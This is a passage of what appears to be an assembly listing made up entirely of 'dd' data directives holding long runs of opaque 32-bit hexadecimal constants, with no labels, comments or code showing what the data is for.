0A6E76A53h, 0B32A8F47h, 0CD8E4514h, 280814E5h, 923431A7h dd 9AB541D3h, 9DA388D4h, 0D9A588FDh, 53D94766h, 47C2D51Ah dd 1CC58FDh, 843104B3h, 1FF8E9F7h, 56D88E35h, 0C8CB0D7Ch dd 82624554h, 5D4CBCC5h, 875F357Ah, 6045955Ah, 0DEBAA2B5h dd 0E83807Eh, 6757D5A5h, 649F4055h, 0C92C03C6h, 3C5C53D4h dd 0A114B726h, 0EC03C6A2h, 0BDC47A9Ah, 96198CF0h, 6EE79D27h dd 52DB8A28h, 0C7EA6E3Ah, 1C016263h, 0CEC244BDh, 0CC782B6Dh dd 88EDB9FAh, 8B9685AEh, 66B08B22h, 0AB6E161Eh, 15F229CAh dd 8F336B0Fh, 113048C7h, 0A317334h, 226A9B4Dh, 0FA9E6A5h dd 56A99E30h, 4D9BEB88h, 380533Eh, 0B33E724Eh, 0AE0B9A42h dd 0FF422FD7h, 304CE829h, 4395E073h, 3CD1970Eh, 0FD38B4D9h dd 5ECE2324h, 49F59A1h, 9AB544A5h, 0F840AB4Bh, 0B92D16F7h dd 0D7C657CFh, 9CFE622Dh, 0CE98EAAEh, 7F3C7720h, 0D53F0C6Dh dd 4B71BF02h, 0ECEFF6E4h, 7002A355h, 4AA872F7h, 0BDCD0E3Ch dd 17824FBFh, 554356A9h, 410FB58Dh, 0E0E1FE74h, 1E0AE140h dd 15B1FCD8h, 46AB8012h, 0D49F93B7h, 5C7F972h, 48099DEh dd 0CBE7CA37h, 0D65ED329h, 7CF3D9B9h, 0F04B18D2h, 0A773A099h dd 60B19200h, 4AF604F3h, 64A46905h, 598878CEh, 0BF3C9355h dd 940A77B3h, 6C014F3Bh, 460016D0h, 35759B08h, 0ADBACD96h dd 3470EEC4h, 58BDAA10h, 5BBF2218h, 0CD2AEEC4h, 0F14DA100h dd 0B3281D9Ah, 13C9AE61h, 8010A77Bh, 578EE7F2h, 5F4F3349h dd 980EE97Fh, 6010E826h, 0C4D6ABE9h, 0D960B88Ah, 0C2403853h dd 87C0E472h, 0EEE0FD2Fh, 0B8D8995Eh, 8977915Ah, 0DE4FACE7h dd 0FAECBF9Eh, 1737AFEDh dd 99ED7F49h, 0E3DAEA25h, 80E700C7h, 0EE785012h, 0D836B199h dd 31F87E07h, 0F87E3BD5h, 27E0FE95h, 77ABCF97h, 0D514064Fh dd 0E1C257C6h, 0F21130D4h, 0FDFC60F1h, 0A1F50048h, 0F833EE3h dd 1FA02DEAh, 9A30263Fh, 554BC8F4h, 0C36CFE38h, 0A6B47DD2h dd 0C5C057DAh, 6963DB9Ch, 2A991D04h, 1D869A1Bh, 0A797F1EBh dd 0FB7DDCE6h, 66A68B81h, 0CC5CA6E8h, 0C61D2304h, 0ED53C032h dd 0B5108C69h, 69760497h, 99A1C2A3h, 0AA9DB2CBh, 0B7E354A1h dd 3ECE38AFh, 0EDB23B70h, 9ACFD26Ch, 62D8A8C8h, 0B91CCA8Ch dd 40CFDAB2h, 6E5CAB6h, 812AA155h, 1A2ACDC5h, 3476B8D2h dd 3F3417EEh, 0BAB8F320h, 5795707h, 8915A0D5h, 0A090AE52h dd 4AB487D1h, 5B250A2Ah, 0CA9F8051h, 0AF8CA5CAh, 0D2BBCA0Fh dd 166089ACh, 0C156A038h, 25823453h, 0EA1D51AFh, 458BB6B4h dd 29DE566Dh, 9FA21765h, 5BAD59ADh, 0FD36D604h, 7A368A5Ah dd 1ECBF326h, 561B616Eh, 484371h, 0DF30A32Ah, 41B2A060h dd 8BAA12DBh, 0DED0EA05h, 4E926C8Fh, 579574ACh, 7993E6A0h dd 0A17547F7h, 66F13D1Bh, 3E799A51h, 39638B93h, 6856D360h dd 8A5DB901h, 0B7341D58h, 0D1D5BED9h, 0C6DD1705h, 89439921h dd 0ACB856B1h, 82F59712h, 5DBAB32h, 75040D90h, 3655ED65h dd 9AA36539h, 1C6A9C57h, 5D725C66h, 0AB51C5DEh, 0D05EBB9Ah dd 4ABC9531h, 32032AE5h, 63ACE36Fh, 2910F8A4h, 0A9F3C99Fh dd 8C99AACCh, 0E379C8AAh, 1B7D4B98h, 0E02ED927h, 0F915C696h dd 5E655D7Ah, 0DB71D658h, 39944771h, 0DD51DABh, 0B7151FCAh dd 31DBD9B4h, 74A25D2Bh, 0A455B317h, 0B4BE1D60h, 867AF05Ch dd 0D53A67B4h, 8969F879h, 9CC28D32h, 770938D9h, 0E9900518h dd 40A05215h, 358C3C18h, 83459A24h, 45682280h, 145759Ah dd 16DDB662h, 962520D5h, 86676A0h, 0A86C7265h, 5D6F1462h dd 0CE65A6C4h, 249A0D4h, 76852E10h, 7E3F5228h, 6BC8DB52h dd 880B2D36h, 0F6B820B5h, 57308294h, 0DAAFEA38h, 87704262h dd 82424E16h, 0B4CA50B1h, 8617A84Ch, 862CAE45h, 0B5662829h dd 292D8498h, 90C114F0h, 0AAA0B70Bh, 3E11D12Ch, 35F0F549h dd 251CAD82h, 1EA9BB76h, 28000C01h, 0D68361B1h, 9330D693h dd 94250Eh, 0CE8CD7D8h, 0A2D04B75h, 16F36944h, 8BE6EA74h dd 75FA2DCEh, 3B030C1Fh, 6460B10h, 0A6830D91h, 280C617Dh dd 0B665E020h, 5DF850AEh, 20615070h, 0E683140Fh, 58617582h dd 8BAD4550h, 11AC0617h, 66D7B583h, 4DFCE618h, 0E88C80CDh dd 4681AA53h, 32518950h, 9B439605h, 0AB69852Ah, 7D88564Bh dd 4ED014ABh, 82EE37C1h, 30CCAF19h, 556EC21Ch, 0B8941881h dd 1290306h, 0F86BE50h, 28A23635h, 4128B04Ah, 0C4B15BD8h dd 1B916AB5h, 8B920F02h, 1020A348h, 536D5288h, 5025B1E2h dd 0CD1DF7A0h, 50AB6197h, 538A4472h, 91234ECBh, 4B903352h dd 62CC7500h, 9CDCDAB2h, 628E2954h, 0C96B1938h, 0B6502CA2h dd 9DECAA96h, 0E6145853h, 14584984h, 4E905989h, 36622782h dd 630AE904h, 30A22F19h, 94763069h, 13078C78h, 43D23F65h dd 8F8167C9h, 56D7F0C3h, 0BFD9C377h, 473601B5h, 0C5805CDCh dd 0CAE8988Bh, 95A0C406h, 0D8AF5801h, 12711A0Ah, 302DC6h dd 0DB080220h, 20858303h, 0FA803316h, 0A8D0019Ah, 90104A2Fh dd 31103AC5h, 0E3D23B1Ch, 78367136h, 567B2BF8h, 0CC180239h dd 0BEA72A1Ch, 0DEC18044h, 170319E9h, 0C6080021h, 2C814E8Eh dd 0E042BCD2h, 0DF6ACEC4h, 30A56C94h, 278E4E03h, 5FCE553Fh dd 3981BBA5h, 0FA78D1B8h, 8A5EE23Ah, 1E002A67h, 1CBA0B31h dd 7AA166A1h, 88307C4Fh, 0C901157Fh, 264F7CB7h, 720DCE36h dd 91D59975h, 330D80E4h, 824C004Eh, 306091C0h, 0A9753CCh dd 96FAA977h, 0E663BF9Dh, 753CD35Ch, 201767F1h, 2C2EE98Ch dd 0F82C303h, 0C499365h, 0EA6CB28h, 0E2938D23h, 9DFC1296h dd 3DBA6793h, 30F80A65h, 0E1165451h, 0EB567C1Bh, 4C28CC62h dd 9BCAA829h, 8A18076Eh, 90B96C45h, 315B1E16h, 0C65FF91Ch dd 93301DCAh, 0FADE0625h, 0FAAFF6B2h, 23612074h, 0E278749Fh dd 8400E6BDh, 92B42EADh, 3E6B2391h, 0F2E1FC3Fh, 82302221h dd 9CD98E0h, 2B0FACA9h, 0ECCCB98Ch, 10B393BCh, 0ACB622CAh dd 0FCC20743h, 689C84C1h, 7902061Eh, 4EA13D04h, 0D4EF494Eh dd 0CD05ACF4h, 0C6A0EB05h, 0F1334BC1h, 3146181Bh, 0D9AE3BC1h dd 0A0C08184h, 0BB3463ECh, 2A5AB1DEh, 0D56DC1AEh, 0E40C4108h dd 18CA964Fh, 10209A8Fh, 3FC041Dh, 1630F2F9h, 984B5F8Ch dd 443694EEh, 46040409h, 60E91050h, 93D9119Eh, 1616E43h dd 5533E88Dh, 0F85343E1h, 0A2830E2h, 196F0FB8h, 47869671h dd 7D0DD391h, 0F0A360E6h, 8917826Dh, 17CB11F2h, 4E339A87h dd 1C60238Ah, 0E07E05B1h, 952C2960h, 19711E24h, 0A51A71AFh dd 0DAF22668h, 9417A271h, 6F165183h, 0BF0E060h, 0AD573E02h dd 794671DAh, 66596318h, 0C35F0245h, 0D758734h, 835011C1h dd 0AD052630h, 5C486AE0h, 28FA6884h, 0A4799F61h, 1981C918h dd 3006677Ch, 7B9B7D4Eh, 25A2DD6h, 142E140Dh, 1A89C5F4h dd 2C8A161Bh, 510DACEAh, 0AE6B9D63h, 2BC0885Ch, 7D2B74CDh dd 5188894Eh, 714C4610h, 3171651Eh, 2153B164h, 0F81CF4B8h dd 0C457B72Dh, 2C613E15h, 812D3767h, 56C55170h, 5E906F77h dd 1296221Ch, 0AB765AC6h, 2A2C55FDh, 8AACA612h, 90921732h dd 8BD3D8B2h, 0BD4DF062h, 3E16EA2Eh, 1654D7h, 0B9306197h dd 25729B70h, 35D2D2B5h, 0E0A371C6h, 4E5688B8h, 8D340D39h dd 5663D071h, 5754A4ABh, 0A7150C69h, 4228C859h, 51CAAAEFh dd 0E505C36Eh, 1937B32Ah, 0CB0B6C87h, 94B54AAAh, 634D30D3h dd 47641D1Eh, 97621D33h, 0AEEC6C02h, 2D956CB6h, 9D677A00h dd 4847428h, 0C519225Ch, 0D16DD4CCh, 75848BADh, 93B531CEh dd 40B80092h, 25E5CD66h, 0B27F1248h, 2EA88A2Ah, 625011A0h dd 0E843BC96h, 0C2FFD854h, 0AA0D0202h, 0A098720Bh, 0CB4D1220h dd 0AA2D9502h, 805E98D8h, 776DF230h, 0D6B9CF6Fh, 0C80BB989h dd 2B0A9469h, 8E7565D6h, 0C173D095h, 45025C32h, 7A392E29h dd 26A9AA91h, 49563A25h, 820B349Fh, 32E12314h, 0B0E05726h dd 0C2BF2CB3h, 56E96E7Ch, 559A2CB4h, 9F4314B3h, 2F4DFD32h dd 0FD26A095h, 0AE2A2A5Ch, 5CF19D45h, 0D715E294h, 2F5C85D2h dd 0E34A0514h, 2AA15453h, 0A4547E54h, 702E77D0h, 5D568D1Ch dd 0F39A75D6h, 5509912Ah, 52E62AD6h, 4992E001h, 0EEAA914Fh dd 25929F34h, 5FA13A39h, 0A65F82EEh, 11A30029h, 5E0C9536h dd 98044DA5h, 9D56AC29h, 0D77BAA69h, 0D2BEEDEBh, 0CB0AC63Ch dd 48BCBCD1h, 8FC2653Bh, 0EF8D51F5h, 7EF38D1Eh, 0EE401CECh dd 8FE32B34h, 24F71261h, 3178479Dh, 1F8141Dh, 0BAF1B6DAh dd 0E1ACBF26h, 13623262h, 0CB866D62h, 0C62E5D47h, 315D7636h dd 33857653h, 0D6EF182Eh, 2E6D3AEh, 3D39C717h, 0BDA5DF14h dd 451002B3h, 69BDC53Ch, 11E5FEA7h, 4E635474h, 0D01269C1h dd 0DF1069C9h, 8D0203A2h, 3D903B30h, 0C3776F51h, 514C9004h dd 0C3653943h, 0B69B615Ch, 5BB9207Dh, 7F5003Ch, 8662AFA7h dd 0BA1350FAh, 6797E628h, 0CA2031EEh, 499B3F95h, 1AA1BB9Dh dd 0DE6FC2A3h, 55512632h, 0DB286C63h, 730AB817h, 0B2A1B2EBh dd 4A1386AAh, 0F2F144D4h, 0D1205BDDh, 18C2AE4Eh, 5F82DAB8h dd 97EBE5B6h, 0C308500h dd 5280FC67h, 685DEF5Fh, 54DF2BE0h, 0BDC71552h, 0C256E468h dd 91F146B6h, 6471C218h, 0F854723Ch, 0EB7CB711h, 1A575064h dd 0EBFBEE9Ch, 6C859687h, 1AE59C3Ch, 0BB0BF2E3h, 18EA7E55h dd 18DCDCD0h, 0C4610C90h, 0CBA53DD7h, 72C49C55h, 0F5D32F25h dd 0B0EF634Ah, 0C24D4451h, 0E44F6425h, 22D967E8h, 0AB8B2B8Eh dd 0DB97133Eh, 0D6FDB11Dh, 0E69CC9CFh, 8CECB82Ah, 4585EDC4h dd 0D4FBAE2Fh, 0A0DBC705h, 33AA3207h, 738DE56Bh, 514DB995h dd 0B24A4F53h, 3E608BCCh, 0CCD5B54Ah, 0AC559C25h, 633643E2h dd 8AE67356h, 0B85AA811h, 0E60D9E7Eh, 466AA26Ch, 511825A0h dd 0C1385AA0h, 3811DDF9h, 0C5D83BDFh, 0AFE5B517h, 0C6A2BD19h dd 40DA858Ah, 1A8F7E57h, 0F86894B7h, 36632122h, 8E941EEBh dd 2BD097Eh, 0C121125Fh, 29D47685h, 0C9EF6355h, 35C2B2D6h dd 2DACE4B7h, 0A72BA92Dh, 6B39AD50h, 0F382F3F7h, 42EB84CBh dd 0D8D8762Ch, 77172D2Eh, 331C7959h, 8A41CE0Ch, 0D4B22B97h dd 0BD7CCAA5h, 0C4838A6Eh, 0C5B5653Ah, 0B55F6B1h, 0F2502CC8h dd 578E26A2h, 0CA491E8Fh, 598F2A81h, 94AE779Eh, 0F9C71C50h dd 48267319h, 0AB24845Bh, 0AD54B37Ch, 0E077331Dh, 31C0F00Eh dd 0E298B5D2h, 1D3BC6EAh, 5A2AB986h, 50E3EBB9h, 0EF6113F9h dd 54CBEFE2h, 0CEF384BAh, 2C005FAFh, 0A8E82835h, 19262C60h dd 514CD0FCh, 1517F902h, 14EA11D4h, 0A9FA4893h, 5B3D82BCh dd 0BCBBE2Ch, 0ADF02D29h, 2F8F8132h, 0E4D12E1Dh, 61F14AA2h dd 0CDD691AEh, 40CE6199h, 797C0D95h, 0CE5C6385h, 0F26B4B7h dd 40FA283Bh, 2E81EDEFh, 0FF542C60h, 61AD03D9h, 9BBDD42Dh dd 5ABD7267h, 9767420Eh, 56D645ABh, 987D329Ch, 0ED748783h dd 0D7EE1ADFh, 0C1447CC3h, 46C1B755h, 8D737EF8h, 0D50C0E3Ah dd 0D768D66Bh, 0C6AE80ECh, 47CCC7C8h, 32A5513h, 0C9665780h dd 0D0F1DD65h, 2AA3B84Bh, 3A3EEBE2h, 8DDD5AF5h, 4D8E3DE0h dd 61EFED50h, 4569F83h, 6DE54760h, 0E999087Eh, 0BAC417D9h dd 3A79AD5Ch, 59DAC956h, 0AD9F67E2h, 0A7A2529Eh, 396B0A9h dd 317A0DC6h, 0AE470F18h, 801EA91Eh, 0E2ED8A23h, 3EC2F417h dd 4B093F74h, 2A9C0994h, 5158EBEFh, 290E01F6h, 65F2CBBh dd 101B3DE0h, 0C4C3F23Bh, 0E1359C4Fh, 6C90892Fh, 0A2F23B63h dd 97CD8D25h, 0D4BDF2F9h, 109EB5AFh, 341332A6h, 60AFF14Bh dd 5A2FADC0h, 0CE2A22E4h, 0ED7F83E8h, 3B0BE296h, 8CD8CD86h dd 1519B9A6h, 1D6FAE62h, 4C5EA6DFh, 885621BBh, 8B5D4BA0h dd 0B797401Dh, 0E71FE74Fh, 0A47506DDh, 9CD5A5C5h, 0A03C2C19h dd 7B61C72Dh, 2B4C2594h, 176B485Fh, 37949463h, 1C2AE1A4h dd 22EA394Eh, 8E94572Eh, 9A4F2A06h, 92262B8Eh, 62B4C5F9h dd 0DEA28EE0h, 0CC8BC574h, 11D9F488h, 1C6FE2A3h, 652B9209h dd 1363DE43h, 0C94955D7h, 45CC8765h, 37948E35h, 1CBC8663h dd 0C152692Ah, 80DEFC72h, 1C5BA49Ah, 14A98A4Fh, 0C31A8EB7h dd 90A03E6h, 556A2A8Ah, 0D9BDE7F0h, 3B6BEF2Ah, 0BAA3F1EDh dd 5D70375Ch, 1BDCD1C4h, 0E35A7D7Ch, 4014098h, 1D1B958Fh dd 0AC588760h, 4B197030h, 0C343FD78h, 0A73A5699h, 0AE0C69BAh dd 9E39FC1Ah, 2D224AB3h, 33AB8A3Eh, 131E909Fh, 58D6F384h dd 0F5E60E8Bh, 5C5C2A94h, 7179372Bh, 0E22DF6CDh, 601CD6BDh dd 0EBCFB0A4h, 105FAB17h, 0A62A842Bh, 0B370169Fh, 0F2FFE487h dd 0AB52BFCAh, 9D54A50Eh, 0D4152462h, 0F85832EFh, 957C70AAh dd 0F4B40C4Dh, 0CBAA3A71h, 7558C579h, 2AA2C3C8h, 0A4F824AEh dd 0F653F2Bh, 0F94255F5h, 32D6799Dh, 2B932957h, 0C174B9BFh dd 9A931AFCh, 798F195Eh, 0F7566405h, 282F57C6h, 4BEAA9D5h dd 25DDB800h, 38AE5E9h, 25726C3Eh, 0A6309946h, 0C1D58945h dd 0DC8092A4h, 8CE59065h, 1F447157h, 0CFAD5E23h, 8AF20DA9h dd 98A0A9A5h, 46CC9C64h, 5558ABB7h, 0D96280B9h, 98726595h dd 0B35A32AEh, 0AEFCBB0Ah, 0E6401502h, 0B62EEC92h, 875DF662h dd 69F83BADh, 0A592F2Ch, 0C642FBF2h, 2C15D4C6h, 0ABAC77Dh dd 8FBFAE01h, 0ABEDF0Fh, 2EF34070h, 79E3FCFDh, 3B3107CCh dd 7197EFD7h, 0C19CCACCh, 7EF35B25h, 3D19FD1Fh, 0DD82518Fh dd 0D64CF51h, 0DB6C362Bh, 0E3608EB1h, 0FBD889E3h, 67A37EC8h dd 4AFD33BFh, 14FA3Bh, 4972D097h, 203F7EB7h, 9E35C5B3h dd 0B40C5418h, 0EF1268B0h, 0FB1168FAh, 488C0218h, 2D498EBDh dd 6CBAF1EAh, 5269B320h, 0CCF89D5Fh, 0CAFDEBA9h, 37F6C88Fh dd 80FE3794h, 8EEE456Ah, 0ED6EDC2Eh, 0B007233h, 4ADA8210h dd 0BF572168h, 751A46B6h, 1683149Ah, 85549F5Dh, 0B499943Ah dd 0EB4D0764h, 0A5C0B4D2h, 0A099A45Eh, 0D2E88952h, 348144B9h dd 30614D25h, 89016C96h, 9206654h, 0DC61E555h, 0D4C17F61h dd 85F1B4A7h, 0D17D95FFh, 88A1D7BAh, 36C18B60h, 848D5D6Dh dd 735FF294h, 7034EF3h, 0BA483141h, 0DD069A42h, 197FE575h dd 5671D669h, 1F728B71h, 0C45C98A5h, 312ABE60h, 30733398h dd 0A21BADC8h, 215B3EE3h, 0F029A680h, 0FC0ECA4Dh, 0F9052A8Fh dd 6D45C95h, 0EFE78CDAh, 0B2FB2467h, 0FB58630Dh, 855CD03h dd 81D0AAAh, 4DA28A80h, 9C21A5A1h, 2066A139h, 6CD54EAAh dd 858A6A85h, 24D514DAh, 6A052AB2h, 0B1B49B52h, 51295F23h dd 91ADD9Ah, 0E454D2FAh, 2E256142h, 0DA3D3914h, 0D5DBAAE8h dd 311F1958h, 5167879Ah, 465BE830h, 1585A02Ah, 522E5B5Fh dd 1F179F25h, 2C86AE9Eh, 9A28D445h, 0F6EA5814h, 575F873Bh dd 5851302Ah, 0B03AE616h, 8A96C570h, 3697BBDAh, 8C4E57F0h dd 2AB23146h, 59A9E0DFh, 0BFACDBCCh, 0E17F42B2h, 301F02B5h dd 808CFA5h, 44208D1Dh, 1264E51Ah, 58C92958h, 0A8E78CB2h dd 4B612DE9h, 3975C004h, 6F4D658Dh, 0F977B011h, 0E4C81911h dd 80BE3BD2h, 73282ACCh, 1A6D2BE3h, 772601E3h, 923C5309h dd 95541977h, 7D9462CDh, 468673F9h, 5BEF9675h, 53195BF2h dd 5A2D9F73h, 779453D1h, 70F566B4h, 3446265h, 58A860Eh dd 0C0F9A192h, 0B0192D38h, 0B3F214B4h, 364B0151h, 0E29D23Bh dd 648A7B51h, 8BA8CAADh, 13554E3Ah, 0AE57B01h, 1351B8C7h dd 46878D5Dh, 0B79C8DD9h, 0D195D97Dh, 0A51851ABh, 99AC1F95h dd 0E31AA2ABh, 1DD7D78Bh, 0EBBB3966h, 3AB2D7A7h, 6576B92Dh dd 0FCBAEA58h, 0B0732640h, 800EA9C4h, 8F431A64h, 0ABD06C8Ah dd 0F6025A78h, 0F01105B1h, 2A541CA1h, 4B51625h, 157BC6F7h dd 3CFE7439h, 195D5566h, 74D25788h, 0A07A06B2h, 58F81CABh dd 94468FACh, 0AF5CC98Bh, 32B216ACh, 0D750531Bh, 5554722Dh dd 3390183Eh, 32874A0Dh, 0BD2AA0EBh, 8160A2A8h, 0D09AA934h dd 85F8B7DCh, 7324F166h, 0EA44B343h, 0E56D7B50h, 3D50D699h dd 4505517Fh, 0A6E7BCA5h, 9D3D79FFh, 1F495C8Ch, 0BFA7C6E5h dd 0EE2951F6h, 5E614C88h, 45BB298Bh, 1A11C6C2h, 0C368B04Ch dd 8A02D62Ch, 8A1CC8EFh, 0FB552B8Bh, 0C986FBC6h, 55684F5Ah dd 0BC432915h, 463B1622h, 46872FE0h, 4316A0DCh, 8AC645Fh dd 90155E57h, 0AFDEB38Bh, 532E2E84h, 2E359FCDh, 8AE0A50Ah dd 6EC2A2F3h, 7D2E13D8h, 51D192E1h, 624864C7h, 0AA11C342h dd 4BCA7177h, 419DD305h, 0A5A4DC09h, 0B01B3AB9h, 0BF150517h dd 0C477DD46h, 5FB97DE4h, 2602DF45h, 96B0094Eh, 468CEAE6h dd 0C2E69811h, 52CB3EE3h, 3D08C203h, 0AA47F2ABh, 86E08EA3h dd 926D41C9h, 3B372A28h dd 68DAAD56h, 8F1FE0F1h, 7A2DBBCDh, 3C3A2AB4h, 593A2FBFh dd 0A12AD45Ah, 3EFC2518h, 0B2480Ch, 2739F1ACh, 0AE35F75Fh dd 1D7C8076h, 40B1BE43h, 8E6377F1h, 6FFDD76Ch, 28EB45E8h dd 0FBC97FE1h, 0D7F021A2h, 0DC2F8B42h, 0AD8A5D08h, 0C4CA2FE8h dd 9424EA7Bh, 72BA9FB0h, 10D4FE9Bh, 8529F10h, 5759EC21h dd 0B2E9412Ah, 74C193A6h, 0CD1D8B06h, 0ABE95DE7h, 0A0F11742h dd 0D9180792h, 525C75F8h, 18334904h, 0E06E4C8Bh, 9DFFAF59h dd 74FFCCC1h, 0F3469612h, 3EA8CC93h, 456B0805h, 65686A87h dd 854A5CDAh, 912C4475h, 512C819Eh, 112BE276h, 0D12B6276h dd 14ACE275h, 12816250h, 4A888957h, 7D992550h, 0CBAB940Dh dd 306231A3h, 415FA7E2h, 23040795h, 53BA876Bh, 16AC4083h dd 44105BD4h, 0A1188046h, 174BDDD1h, 80892004h, 16B25830h dd 0BB847F2Ah, 93023044h, 2E841121h, 0E9441684h, 6194EE56h dd 6BB9C263h, 63F6C82Bh, 0CAEB015Bh, 0ACAE4276h, 0ED3EBF42h dd 4BAD108Eh, 0B3DA8E03h, 31C6872Ah, 0F32A3CB9h, 0CC79A2B0h dd 9C4DBE21h, 9DA60904h, 37180A4Bh, 0A8AD319Dh, 43C9D1E6h dd 0BAC5CADFh, 0B1F868E8h, 0E59AD543h, 0C48D2A7Fh, 5955D8BBh dd 545254B4h, 0E420CB6Ch, 8F5889AEh, 2066AD30h, 5312D2E6h dd 0B11CC8E5h, 943D734Ah, 12477427h, 519EC973h, 6BE05D5Ah dd 9D0042Ch, 60688301h, 54D35C7Dh, 332832C4h, 1652BB48h dd 502CF02Eh, 3EB16D18h, 3D2EB851h, 0C1F3D0C4h, 65AC6805h dd 82A2B68Fh, 23EA6A57h, 162CEA4Eh, 415045B3h, 0D6C05156h dd 2A127C55h, 283E6099h, 0A3E24EADh, 0B25DC873h, 15940478h dd 956B9A17h, 0CDA83022h, 0E295955h, 3333C281h, 0A5FF90A3h dd 0E5912133h, 630D3583h, 5E02DE6Dh, 2CAFA1F3h, 6111896Eh dd 0B930A08Dh, 0A5845068h, 0D995DB01h, 9494A081h, 45186C9Dh dd 9CF15664h, 5101F9C6h, 45957AF2h, 0C419766Eh, 0BCB2C74Ah dd 20D10DCAh, 1A96C4B1h, 2225F15Bh, 0A9E42A8Bh, 975786D8h dd 0C5888A1Eh, 2CB4DE01h, 23A337ADh, 3C0A2B74h, 0EBC70218h dd 6FCB41D8h, 5C170CE9h, 9B110A2Eh, 4BBBF8A1h, 4DE09A07h dd 0AEA6724Bh, 0D955A058h, 0C6330518h, 0EAD082B2h, 0DA2403B8h dd 2E972F50h, 323CB62Eh, 0D41507D1h, 0B164FCF8h, 0E5A752Eh dd 0DA341D9Fh, 54B3C8CDh, 0C76D6728h, 2E5A5D56h, 1567AC9h dd 96F93367h, 5C507A09h, 0C114514Fh, 0A9B2AB98h, 0B29B438Ch dd 65C5A386h, 302675A5h, 0D94C67E0h, 2AE82F2Eh, 614D57Bh dd 445B3134h, 5F4A75C9h, 0A3469D71h, 0D179CC5Bh, 65303459h dd 0BD331496h, 47821561h, 87C7660Bh, 951CD9C2h, 573DE2C9h dd 5C01929Eh, 380B5422h, 0A5465527h, 0C4AD5F6h, 18061866h dd 0B8C39285h, 0C1300A9Ch, 54F508A9h, 74486212h, 4505C02Eh dd 729EE694h, 0AEB9C55Ch, 8A3ADB95h, 74446EDh, 0A6E2E15Eh dd 0DE5E88Ah, 9528ED68h, 0D2544DA7h, 9A3F15C0h, 1E639E51h dd 15109584h, 0C669CE07h, 52FC096Ch, 0B5D45357h, 0AB1201B9h dd 85054Dh, 6D974D36h, 6D7A66CAh, 85E3372Ah, 42E2D6C7h dd 0C3620EA9h, 0C00AB09Ch, 75D6A9B8h, 60D1FAC5h, 5D92E563h dd 0AAEE8054h, 86CCC260h, 0CFFBC491h, 0B5285DA9h, 808F7E20h dd 22E06FA2h, 3A2AA320h, 0F318ABCAh, 0FDDB8C68h, 0EC2F6E2Bh dd 28282AF9h, 3F0C4ABh, 718B24h, 256B2515h, 0A078AB95h dd 0D25C7F4Ch, 72741DCAh, 4875B4EDh, 93851318h, 0C2B3C246h dd 61742532h, 0D4723175h, 3AC55EAh, 0B953A402h, 0CEE750CAh dd 35342B77h, 411C3C0Ah, 0FCB94774h, 95D6E815h, 9ACCC614h dd 0D8418A01h, 9453483Bh, 0DB13ADCCh, 0F80AAEB6h, 33184AC0h dd 0C25DD691h, 9A05355Ah, 61465263h, 0A38B9868h, 0B33BA0B5h dd 7A94E87Ah, 99AE148Bh, 0FA5D12ABh, 6E04028Bh, 0D728869Fh dd 0AB786489h, 311AB8FAh, 0D2802399h, 541B3BC3h, 0D6BF9C2Ch dd 0AF8025B5h, 315BAE8Ah, 5A2548E9h, 26654959h, 5AAA61h dd 52708454h, 0CA6C35D5h, 15CAA72Bh, 0B55D08D4h, 32984603h dd 9EFC24E5h, 0AA2BA2BAh, 6F63E898h, 0FB63528Fh, 0CB805616h dd 2239BCC0h, 59F233A0h, 5C7062C7h, 0B2195851h, 5E51ADD1h dd 0E6776D04h, 0AE8AC568h, 552DB3A2h, 8A1C993Ah, 0FB9539FFh dd 0E0C7575Ah, 0A6523538h, 2539093Ah, 0E35F117h, 5D6B8DD4h dd 7D71D272h, 59715951h, 0C51D3F3h, 1F4C0396h, 6AB0D3D9h dd 8716695Bh, 0AAB1DB95h, 0BA9406h, 0C70ADA83h, 3516F3D8h dd 17A21A2Ch, 2E943BCBh, 2ABB9969h, 0C10AB4C7h, 21361CCBh dd 0D2072F1Bh, 0C093ECD9h, 0EA1C988Fh, 0A2F2B7AAh, 5C0ECA15h dd 66F27A2Ah, 0E22E97A8h, 9B6ABBA1h, 645F7ED6h, 5692B7F5h dd 630C034h, 0C828E24Eh, 0D3C04330h, 0AEEDD417h, 7D4A3427h dd 6AD23ACAh, 752804ACh, 5AC8C9A1h, 0C1B0B946h, 0CCEAFF08h dd 28B5AE98h, 40B2860Ah, 0BBA3B3EEh, 10AAF554h, 1CE21F3Ah dd 0AAE02BABh, 985C1C8h, 6E86D60Eh, 817544CCh, 0FAB255E1h dd 49286B88h, 99EB563Dh, 2B6648A2h, 88ACC468h, 0E1BE32F0h dd 0AD9EDCD4h, 0E4AA1D0Bh, 9B0CD0A4h, 9EA283D2h, 3A311AADh dd 58A0E58Eh, 969873F9h, 2B6850AAh, 37D233EBh, 4605D70Ah dd 0F59AD2E5h, 347D5A78h, 3B6D3E0h, 62B968ACh, 95F63CDEh dd 752BF861h, 0F0851B70h, 434C11B0h, 6F63C680h, 0BA3292ACh dd 302962AFh, 12450AEEh, 4127784Ah, 4568430h, 50020328h dd 0A404B571h, 0F371B45h, 6D825EC8h, 2DA4116Ah, 0B409EAAEh dd 0DE4C8D54h, 0D4AADC15h, 41A461Ch, 535A3DB2h, 6E60AEE2h dd 0BA3ECDDEh, 0BC75832Eh, 8105B4F0h, 0CB58CC48h, 5DE043B1h dd 58DBD369h, 224C9DA4h, 1CB25401h, 23201901h, 567F2743h dd 0BD870115h, 30757597h, 87988126h, 9F4C1D70h, 0F9C8E172h dd 21FCA2AEh, 0D8CF8EE9h, 0C412D609h, 3F085088h, 4BA2202h dd 12E2921Eh, 4B688973h, 2D0225BCh, 0B20996A1h, 0BE255984h dd 0D0956112h, 0E255744Ah, 894E912Ah, 251C04A8h, 50571294h dd 218A4BA9h, 60203B1Ah, 41000308h, 8FEB3A2h, 7C0AC488h dd 0E8022228h, 8F5B341h, 25C41EE0h, 96D112E6h, 5A444B78h dd 65122D62h, 844BB389h, 0E12BC625h, 6C2D0095h, 60018156h dd 55040043h, 50121AC2h, 2C4AA909h, 61289C25h, 4A14094h dd 12FEA251h, 0E8978941h, 25D1E43h, 8971B12Fh, 25B444B9h dd 968112E0h, 56F84B50h, 10E22CC1h, 0E660CC80h, 0F0550AB7h dd 0B6010086h, 188042CCh, 95110D90h, 538446A0h, 753129E2h dd 4A00A609h, 2314D50h, 89438648h, 97E2C4A2h, 0D12F1222h dd 44BC1E87h, 12EC625Eh, 4B900977h, 2DA225D0h, 0B4099701h dd 0C8255A84h, 956612h, 0A257884Bh, 8959E12Bh, 255C04ADh dd 953112B0h, 53C44AA8h, 4B122A22h, 204AA689h, 41289225h dd 0C8723094h, 0BD89425Fh, 0EE251F44h, 0A0977812h, 25BD84Bh dd 96A212Eh, 259484B6h, 961112CEh, 57444B18h, 59122BE2h dd 544AAD89h, 